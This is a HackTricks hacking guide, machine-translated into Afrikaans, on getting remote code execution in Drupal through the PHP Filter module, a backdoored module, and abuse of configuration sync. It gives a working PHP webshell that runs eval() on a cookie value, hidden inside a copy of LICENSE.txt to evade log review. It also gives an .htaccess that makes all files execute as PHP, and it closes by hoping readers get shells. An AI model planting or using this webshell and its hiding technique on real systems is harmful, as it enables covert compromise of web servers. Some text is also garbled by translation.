Drupal RCE
Reading time: 8 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Met PHP Filter Module
warning
In ouer weergawes van Drupal (voor weergawe 8), was dit moontlik om as 'n admin aan te meld en die PHP filter
module te aktiveer, wat "Ingebedde PHP-kode/snippets toelaat om geëvalueer te word." Maar vanaf weergawe 8 is hierdie module nie standaard geïnstalleer nie.
- Gaan na /modules/php en as 'n 403-fout teruggestuur word, dan is die PHP filter plugin geĂŻnstalleer en kan jy voortgaan
- As nie, gaan na
Modules
en merk die boks vanPHP Filter
en klik dan opStoor konfigurasie
- Klik dan, om dit te benut, op
Voeg inhoud by
, kiesBasiese Bladsy
ofArtikel
en skryf die PHP backdoor, kies danPHP
kode in Teksvormaat en kies uiteindelikVoorskou
- Om dit te aktiveer, toegang eenvoudig die nuut geskepte node:
curl http://drupal.local/node/3
Installeer PHP Filter Module
warning
In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hĂȘ na die standaardinstallasie nie.
Vanaf weergawe 8 en verder, is die PHP Filter module nie standaard geĂŻnstalleer nie. Om hierdie funksionaliteit te benut, sal ons die module self moet installeer.
- Laai die mees onlangse weergawe van die module van die Drupal-webwerf af.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Sodra dit afgelaai is, gaan na
Administrasie
>Verslae
>Beskikbare opdaterings
. - Klik op
Blader
, kies die lĂȘer uit die gids waarheen ons dit afgelaai het, en klik dan opInstalleer
. - Sodra die module geĂŻnstalleer is, kan ons op
Inhoud
klik en 'n nuwe basiese bladsy skep, soortgelyk aan hoe ons dit in die Drupal 7 voorbeeld gedoen het. Weereens, maak seker omPHP kode
uit dieTeksvormaat
keuselys te kies.
Backdoored Module
warning
In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hĂȘ na die standaardinstallasie nie.
Dit was moontlik om 'n module te aflaai, 'n backdoor daaraan toe te voeg en dit te installeer. Byvoorbeeld, om die Trurnstile module in gecomprimeerde formaat af te laai, 'n nuwe PHP backdoor-lĂȘer binne-in dit te skep, wat die toegang tot die PHP-lĂȘer met 'n .htaccess
-lĂȘer moontlik maak:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
En dan gaan na http://drupal.local/admin/modules/install
om die backdoored module te installeer en toegang te verkry tot /modules/turnstile/back.php
om dit uit te voer.
Backdooring Drupal met Konfigurasiesinchronisasie
Pos gedeel deur Coiffeur0x90
Deel 1 (aktivering van Media en Media Biblioteek)
In die Verleng menu (/admin/modules), kan jy aktiveer wat blyk reeds geĂŻnstalleerde plugins te wees. Standaard, plugins Media en Media Biblioteek blyk nie geaktiveer te wees nie, so kom ons aktiveer hulle.
Voor aktivering:
Na aktivering:
Deel 2 (benutting van funksie Konfigurasiesinchronisasie)
Ons gaan die Konfigurasiesinchronisasie funksie benut om Drupal konfigurasie-invoere te dump (uitvoer) en op te laai (invoer):
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Kom ons begin deur die eerste invoer allow_insecure_uploads
te patch vanaf:
LĂȘer: system.file.yml
...
allow_insecure_uploads: false
...
Na:
LĂȘer: system.file.yml
...
allow_insecure_uploads: true
...
Patches veld.field.media.document.field_media_document.yml
Dan, patch die tweede inskrywing file_extensions
van:
LĂȘer: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Na:
LĂȘer: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Ek gebruik dit nie in hierdie blogpos nie, maar dit word opgemerk dat dit moontlik is om die invoer
file_directory
op 'n arbitrĂȘre manier te definieer en dat dit kwesbaar is vir 'n pad traversie-aanval (so ons kan teruggaan binne die Drupal lĂȘerstelselboom).
Deel 3 (benutting van kenmerk Voeg Dokument by)
Die laaste stap is die eenvoudigste, en is opgebroke in twee sub-stappe. Die eerste is om 'n lĂȘer in .htaccess-formaat op te laai om die Apache-riglyne te benut en .txt-lĂȘers toe te laat om deur die PHP-enjin geĂŻnterpreteer te word. Die tweede is om 'n .txt-lĂȘer op te laai wat ons payload bevat.
LĂȘer: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Waarom is hierdie truuk cool?
Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaai word, ons ons opdragte via $_COOKIE
kan oordra en in die Webbediener logs sal dit as 'n wettige GET-versoek na 'n tekslĂȘer verskyn.
Waarom noem ons ons Webshell LICENSE.txt?
Eenvoudig omdat as ons die volgende lĂȘer neem, byvoorbeeld core/LICENSE.txt (wat reeds in die Drupal-kern teenwoordig is), ons 'n lĂȘer van 339 lyne en 17.6 KB in grootte het, wat perfek is om 'n klein snit van PHP-kode in die middel by te voeg (aangesien die lĂȘer groot genoeg is).
LĂȘer: Gepatchte LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Deel 3.1 (laai lĂȘer .htaccess op)
Eerstens, benut ons die Voeg Dokument (/media/add/document) funksie om ons lĂȘer wat die Apache riglyne bevat (.htaccess) op te laai.
Deel 3.2 (laai lĂȘer LICENSE.txt op)
Dan, benut ons weer die Voeg Dokument (/media/add/document) funksie om 'n Webshell wat in 'n lisensie-lĂȘer versteek is, op te laai.
Deel 4 (interaksie met die Webshell)
Die laaste deel bestaan uit interaksie met die Webshell.
Soos in die volgende skermskoot getoon, as die koekie wat deur ons Webshell verwag word nie gedefinieer is nie, kry ons die daaropvolgende resultaat wanneer ons die lĂȘer via 'n Webblaaier raadpleeg.
Wanneer die aanvaller die koekie stel, kan hy met die Webshell interaksie hĂȘ en enige opdragte uitvoer wat hy wil.
En soos jy in die logs kan sien, lyk dit of slegs 'n txt-lĂȘer aangevra is.
Dankie dat jy die tyd geneem het om hierdie artikel te lees, ek hoop dit sal jou help om 'n paar shells te kry.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.